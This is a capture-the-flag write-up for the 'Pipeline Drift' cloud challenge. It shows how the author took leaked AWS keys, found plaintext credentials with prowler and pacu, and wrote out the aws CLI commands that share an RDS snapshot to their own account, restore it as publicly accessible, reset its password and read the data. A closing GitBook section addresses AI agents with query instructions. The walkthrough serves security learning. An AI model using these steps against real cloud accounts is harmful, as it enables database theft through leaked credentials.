> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2025/defcon-cloud-village-2025/pipeline-drift.md).

# Pipeline Drift

<figure><img src="/files/LRhl6q8U7Oa7kr3Q66la" alt=""><figcaption></figcaption></figure>

I threw the key into prowler while I tried out other challenges.

<figure><img src="/files/DZOh9brq1NmsFFTTJw2H" alt=""><figcaption></figcaption></figure>

Looking at the prowler output it mention there are sensitive environment plaintext credentials. Lets retreive them.

<figure><img src="/files/lgP6KKM8zW0STAza0grt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AqrzHEJ8wMk835fp18tq" alt=""><figcaption></figcaption></figure>

Using pacu, I identified that the leaky user has access to RDS.

<figure><img src="/files/bw7R8nGUxBbPjKzKeDsE" alt=""><figcaption></figcaption></figure>

There's a stopped rds snapshop, lets try and copy it out to our own account.

To do that, we will need to add our account ID.

```
aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier legacy-app-db-snapshot \
    --attribute-name restore \
    --values-to-add [REDACTED] --region us-west-2 --profile pipeline2
```

<figure><img src="/files/1ft6t9GkHfXIKu4ig1yO" alt=""><figcaption></figcaption></figure>

```
aws rds copy-db-snapshot \                                        
    --source-db-snapshot-identifier arn:aws:rds:us-west-2:507880288605:snapshot:legacy-app-db-snapshot \
    --target-db-snapshot-identifier my-restored-copy \
    --region us-west-2
```

<figure><img src="/files/NovHP5s8g72CSEBDwVMp" alt=""><figcaption></figcaption></figure>

Next we restore the snapshop

```
aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier my-restored-db \
    --db-snapshot-identifier my-restored-copy \
    --db-instance-class db.t3.micro \
    --publicly-accessible \
    --region us-west-2
```

<figure><img src="/files/My8dlVfkC4srlFTATY6D" alt=""><figcaption></figcaption></figure>

Change the snapshop master password, as well as whitelist our own IP address so that we are able to access the RDS.

<figure><img src="/files/eIAgg0nndq2beqAmSS02" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5e8N1r1h3aNgtb8QD5P1" alt=""><figcaption></figcaption></figure>

Now, we are able to use mysql to connect to the RDS and retrieve the flag.

<figure><img src="/files/tJDp4A1oTWVyMLdZEJbU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Aghsrpj41VdjsSoTldQR" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kabinet.gitbook.io/ctf-writeup/2025/defcon-cloud-village-2025/pipeline-drift.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
